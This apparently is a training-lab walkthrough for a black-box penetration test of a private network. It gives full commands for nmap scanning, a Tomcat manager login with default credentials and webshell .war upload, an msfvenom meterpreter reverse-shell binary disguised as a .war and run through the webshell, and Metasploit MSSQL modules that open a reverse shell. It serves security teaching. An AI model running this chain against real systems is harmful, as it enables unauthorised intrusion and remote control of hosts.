Black-box penetration testing

 

  • You have been engaged in a Black-box Penetration Test (172.16.64.0/24 range). Your goal is to read the flag file on each machine. On some of them, you will be required to exploit a remote code execution vulnerability in order to read the flag.

  • Some machines are exploitable instantly but some might require exploiting other ones first. Enumerate every compromised machine to identify valuable information, that will help you proceed further into the environment.

  • If you are stuck on one of the machines, don't overthink and start pentesting another one.

  • When you read the flag file, you can be sure that the machine was successfully compromised. But keep your eyes open - apart from the flag, other useful information may be present on the system.

This is not a CTF! The flags' purpose is to help you identify if you fully compromised a machine or not.

The solutions contain the shortest path to compromise each machine. You should follow the penetration testing process covered in its entirety!

Goals

  • Discover and exploit all the machines on the network.

  • Read all flag files (one per machine)

What you will learn

  • How to exploit Apache Tomcat

  • How to exploit SQL Server

  • Post-exploitation discovery

  • Arbitrary file upload exploitation

Recommended tools

  • Dirb
  • Metasploit framework (recommended version: 5)
  • Nmap
  • Netcat

Solutions

Below, you can find solutions for the engagement. Remember though, that you can follow your own strategy (which may be different from the one explained below).

Step 1: CONNECT TO THE VPN

Connect to the lab environment using the provided VPN file.

Make sure you received an IP address within the 172.16.64.0/24 range.

Step 2: DISCOVER LIVE HOSTS ON THE NETWORK

Using nmap, scan for live hosts on the 172.16.64.0/24 network.

Sort the discovered addresses, excluding your own IP address, and write the rest to a file. This file will be fed to nmap in order to perform a full TCP scan.

Use nmap with the following options:

  • -sV for version identification

  • -n for disabling reverse DNS lookup

  • -v for Verbose

  • -Pn to assume the host is alive

  • -p- to scan all the ports

  • -T4 to speed things up

  • -iL to use a list of IPs as input (ips.txt)

  • --open to see just open ports and not closed / filtered ones

  • -A for detailed information and running some scripts

nmap -sV -n -v -Pn -p- -T4 -iL ips.txt -A --open

You will come across something similar to the below.

Note: If the .101 machine doesn't appear in the results. Please try again with the -sn nmap option.

Nmap scan report for 172.16.64.101
Host is up (0.16s latency).
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7f:b7:1c:3d:55:b3:9d:98:58:11:17:ef:cc:af:27:67 (RSA)
| 256 5f:b9:93:e2:ec:eb:f7:08:e4:bb:82:d0:df:b9:b1:56 (ECDSA)
|_ 256 db:1f:11:ad:59:c1:3f:0c:49:3d:b0:66:10:fa:57:21 (ED25519)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
9080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
59919/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

Nmap scan report for 172.16.64.140
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 404 HTML Template by Colorlib
MAC Address: 00:50:56:91:44:E1 (VMware)

Nmap scan report for 172.16.64.182
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7f:b7:1c:3d:55:b3:9d:98:58:11:17:ef:cc:af:27:67 (RSA)
| 256 5f:b9:93:e2:ec:eb:f7:08:e4:bb:82:d0:df:b9:b1:56 (ECDSA)
|_ 256 db:1f:11:ad:59:c1:3f:0c:49:3d:b0:66:10:fa:57:21 (ED25519)
MAC Address: 00:50:56:91:DF:95 (VMware)

Nmap scan report for 172.16.64.199
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2014 12.00.2000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: WIN10
| NetBIOS_Domain_Name: WIN10
| NetBIOS_Computer_Name: WIN10
| DNS_Domain_Name: WIN10
| DNS_Computer_Name: WIN10
|_ Product_Version: 10.0.10586
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2019-05-18T17:08:58
| Not valid after: 2049-05-18T17:08:58
| MD5: 456c c397 9bb9 a4ed 2cf0 bb18 5136 abab
|_SHA-1: b1cc 9555 5273 9a6a 018b 3e28 6a01 babb 8327 5975
|_ssl-date: 2019-05-18T17:18:52+00:00; -34s from scanner time.
MAC Address: 00:50:56:91:F0:09 (VMware)

Step 3: TRY TO IDENTIFY AND EXPLOIT ANY TOMCAT MISCONFIGURATIONS

Let's connect to one of the identified Apache Tomcat instances. Despite the default page, trying to access a non-existent resource reveals that we are dealing with Tomcat 9.0.16.

Let's go to Tomcat's default directory /manager/html that holds the admin panel. Here we will use the most common default credentials for Tomcat.

tomcat:s3cret

Note: If the credentials above don't grant you access to the admin panel, you may have previously performed numerous unsuccessful login attempts that caused an account lock. If this is the case, reset the lab (Stop button then Reset button) and immediately try the credentials above.

After doing so, we are luckily welcomed by Tomcat's manager page.

In order to exploit the server, we need to deploy a malicious web application that will give us access to the underlying operating system; this is known as a web shell. When dealing with Tomcat the malicious web shell to upload should be in .war format.

You can find below such a web shell of type war.

https://github.com/BustedSec/webshell/blob/master/webshell.war

Once we download the above war, we need to deploy it.

At the bottom of the page there is an upload form to help you with that.

After the malicious war is deployed, we can access and start the malicious application from the manager page, as follows (Press the Start button).

If the malicious application does not work out of the box, manually append "/index.jsp" to the URL, as follows.

Step 4: OBTAIN A REVERSE SHELL

In order to upgrade to a reverse shell, we need to set up a Metasploit listener and generate a suitable payload. However, the meterpreter .war payload is sometimes not functioning properly and you might get stuck at this point. So, instead do the following.

Start by creating a Metasploit listener, as follows.

` use exploit/multi/handler set payload linux/x64/meterpreter_reverse_tcp set lhost 172.16.64.2 set lport 59919 run

Note that port 59919 is used, as it is one of ports that the remote machine listens on. This is often the case that when choosing one of used ports, we automatically can bypass a firewall, since internal infrastructure services are often listening only on firewall-allowed ports.

Create a matching meterpreter-based linux executable using msfvenom, as follows.

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=172.16.64.2 lport=59919 -f elf -o meter

Now, let's rename the payload, by appending a war extension at the end. What will happen, is that the structure of the file will not change, however, appending the .war extension will allow us to upload it to the tomcat server - as it will think it is a deployable .war archive!

Try to deploy the fake .war file as you previously did with the web shell, by first going back to the /manager/html page.

The deployment of this file will not work. It is not a valid war file. This will be apparent when trying to start it from the admin panel.

It is still a valid executable file though. We can use our previously deployed web shell to rename it back to meter as was uploaded to Tomcat's default directory. This can be confirmed by viewing it via the web shell, as follows.

ls -la /var/lib/tomcat8/webapps

Let's rename meter.war through the web shell, as follows. Also, we need to make sure it is executable by using the chmod command in the end

mv /var/lib/tomcat8/webapps/meter.war /tmp/meter ls /tmp/meter chmod +x /tmp/meterThen we can run it, as follows.

/tmp/meter

A new meterpreter session should open.

This is an example of how the upload mechanism can be misused in order to obtain a fully functional reverse shell.

Step 6: FIND SECRET DIRECTORIES AND FILES IN THE WEB APPLICATION

Let's now go back to the other machines. We will start from the web application on IP 172.16.64.140.

Let's run dirb to discover if there are any hidden directories.

dirb http://172.16.64.140/

After a while, we notice a /project/ directory is found. Let's visit it in the browser.

Let's try to use admin:admin as credentials.

Upon successful login, we are welcomed with an internal site.

Now, we need to use dirb again, including the previously-identified credentials (admin:admin), otherwise, we will get 401 errors on every requested page.

dirb http://172.16.64.140/project -u admin:admin

We will eventually discover several more subdirectories. The /project/backup/test one is particularly interesting.

One of those files (sdadas.txt), contains useful information that can be used to exploit the environment further. Specifically, it contains SQL Server credentials.

It also contains the flag's URL.

Step 7: EXPLOIT THE SQL SERVER

Leveraging the identified SQL Server credentials, let's perform reconnaissance activities on the MS SQL Server first.

Metasploit's mssql_login module can help us first check if the identified credentials are valid, as follows.

use auxiliary/scanner/mssql/mssql_login set rhosts 172.16.64.199 set rport 1433 set username fooadmin set password fooadmin set verbose true run

Metasploit's mssql_enum module can help us automate reconnaissance against the SQL Server, as follows.

use auxiliary/admin/mssql/mssql_enum set password fooadmin set username fooadmin set rport 1433 set rhosts 172.16.64.199 run

Upon running the module, you should see various information about the database. We can also see that the identified credentials belong to an administrative account. Such credentials can result in total server compromise.

We can fully compromise the SQL Server, through Metasploit's mssql_payload module, as follows.use exploit/windows/mssql/mssql_payload set password fooadmin set username fooadmin set srvport 53 set rhosts 172.16.64.199 set payload windows/x64/meterpreter_reverse_tcp set lhost 172.16.64.13 set lport 443 run

The above screenshot shows an example of a valid configuration of this module.

Upon successful uploading of the meterpreter payload, a new meterpreter session will be opened.

Let's spawn a remote shell and try to explore the system a bit more, as follows.

shell cd c:\Users dir

The flag resides in the AdminELS user's Desktop.

Step 8: FIND HIDDEN SSH CREDENTIALS AND LOG IN TO THE LAST MACHINE

Let's continue exploring the compromised SQL Server. There is a file (id_rsa.pub) that looks like an SSH key on the AdminELS user's Desktop.

Let's use the type command to view the content of the id_rsa.pub file. It appears to be an SSH key file. 

This is not a real key file though. If you carefully look near the end of the file, you will identify that it holds credentials to an SSH server.

Let's use them to log into the last machine of this challenge. The flag resides in the home directory.

STATUS

Lab Not Running

info_outlineLAB NOT RUNNING

Start the lab and you’ll be able to download a VPN File and connect.

Black-box Penetration Test 2

Black-box Penetration Test 3

Penetration Testing Approach - Study Guide

Career Paths - Study Guide

Comments

Post a Comment

Popular Posts